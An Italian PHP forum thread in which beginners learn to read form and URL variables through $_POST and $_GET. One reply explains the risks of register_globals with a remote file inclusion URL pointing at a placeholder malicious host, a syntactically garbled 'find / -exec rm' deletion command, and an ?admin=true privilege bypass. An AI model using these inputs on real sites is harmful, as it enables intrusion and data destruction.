• User

    Form in php, il passaggio delle variabili

    Chiedo chiarimenti alla grande comunità di GT con la promessa di fare una degna presentazione in seguito.

    Chiedo chiarimenti proprio qui perché leggendo la guida sui form in php ho confermato che il mio procedimento era giusto ma non funzionante.

    Mi spiego in codice forse è meglio:

    
    <form action="sessionx.php" method="post" name="modulo"  enctype="multipart/form-data">
        Username: <input name="user" type="text" size="20" maxlength="50" id="user" /><br />
        Password: <input name="pass" type="password" size="20" maxlength="50" id="pass" /><br />
                  <input type="submit" value="Log-in" name="submit" />
     </form>
    
    

    e nella pagina sessionx.php

    
    <?php 
    echo ("user= ".$_POST["user"]." pass= ".$pass);
    ?>
    
    <?
    print var_dump($_POST);
    ?>
    
    

    $pass non ha nessun valore, mentre con $_POST tutto funziona liscio.

    perché? cosa succede?


  • User Attivo

    Perchè se hai in php register_globals su off(cosa che consiglio vivamente), è normale che $pass non abbia nessun valore, e che quindi dovresti usare
    $_POST['pass']

    Quindi...

    [PHP]<?php
    echo ("user= ".$_POST['user']." pass= ".$_POST['pass']);
    ?>

    <?
    print var_dump($_POST);
    ?>[/PHP]


  • User

    Lo trovo un tantinello più lungo, ma se mi spieghi perché è preferibile tenere register_globals su off vado avanti come mi consigli 🙂


  • User Attivo

    register globals ti permette di usare una variabile già pronta con i parametri get e post..
    un esempio con get(che sarebbe equivalente a post, solo che userai un form)
    pagina.php?var=2
    se register_globals è on, invece di usare $_POST['var'] come variabile superglobale, userai
    $var come variabile superglobale
    E quindi, se fai
    echo $var ;
    Ti compare 2...
    Register_globals è sconsigliata perchè un hacker potrebbe inserire codice maligno a tua insaputa
    Considera questo esempio(tratto dal mio libro di programmazione)
    [PHP]<?php
    include $module.'.php';
    ?>[/PHP]
    Se register globals è su on, un hacker potrebbe modificare l'url cosi:
    lapaginaconinclude.php?module=http://www.esempio.com/script_malevolo
    E cosi la tua pagina includerebbe http://www.esempio.com/script_malevolo.php
    che puo contere chissà quale codice, ad esempio
    [PHP]<?php 'find /-exec rm"{}" ";"';?>[/PHP]
    Che cancellerebbe tutti i file accessibili al server web.

    Un altro esempio?
    [PHP]<?php
    session_start()
    //$admin + una variabile di sessione impostata in precedenza
    if(!$admin) {
    do_foo();
    }else{
    do_admin_task();
    }
    ?>[/PHP]

    Se un hacker modificasse l'url così:
    paginaconadmin.php?admin=true
    Potrebbe entrare con i privilegi di amministratore...
    Per questo è consigliabile non fidarsi mai dell'utente, impostare tutte le precauzioni necessarie e soprattutto tenere register_globals su off!
    Tutto chiaro?:)


  • User

    tutto chiaro, grazie 🙂


  • User

    si sa che i dubbi e le difficoltà vengono con la pratica... ora come faccio a passare le variabili da una pagina all'altra tramite dei link?

    questo ad esempio non funziona più, come si fa?

    
    nome = <? echo $nome ?>
    
    <br  /><br  />
    
    <a href="prova.php?nome=michele">Michele</a>
    
    

  • User Attivo

    Con l'array superglobale $_GET

    [PHP]nome = <?php echo $_GET['nome']; ?>

    <br /><br />

    <a href="prova.php?nome=michele">Michele</a>[/PHP]

    Sinceramente, nei tuoi script ti consiglio di usare <?php al posto di <?, solamente per motivi di incompatibilità...

    Inoltre, per essere più sbrigativi , potresti fare così:

    [PHP]
    <?php
    $nome = $_GET['nome'];
    ?>
    nome = <?php echo $nome; ?>

    <br /><br />

    <a href="prova.php?nome=michele">Michele</a>[/PHP]

    Ola!:ciauz:


  • User

    grazie dei consigli, uso già ?php, ma per l'esempio ho usato solo gli ? per fare prima.


  • User

    ciao a tutti, ho una domanda un po' più complessa, forse, rispetto alla variabile POST. Ho necessità di inviare tramite form (o soluzioni alternative) una variabile dalla pagina 1 alla pagina 2.
    Ulteriori dettagli:

    • La pagina 1 costruita in php e mysql e usa un PHP_SELF per svolgere funzioni al suo interno, inoltre vorrei che inviasse dati (a secondo dei pulsanti cliccati dall'utente) alla pagina 2.
    • Il dato inviato non è semplicemente .$_POST["user"], ma dovrebbe essere qualcosa tipo $_POST[$row_a['unita']] (ovvero devo inviare una variabile che non è un dato certo, ma è un dato recuperato da un DB mysql).

    Per completezza invio i link della pagina di riferimento. Per ora non incollo tutto il codice perché è lunghissimo è una pagina molto complessa.

    www pomba25 it/_prove/appartamenti-bis.php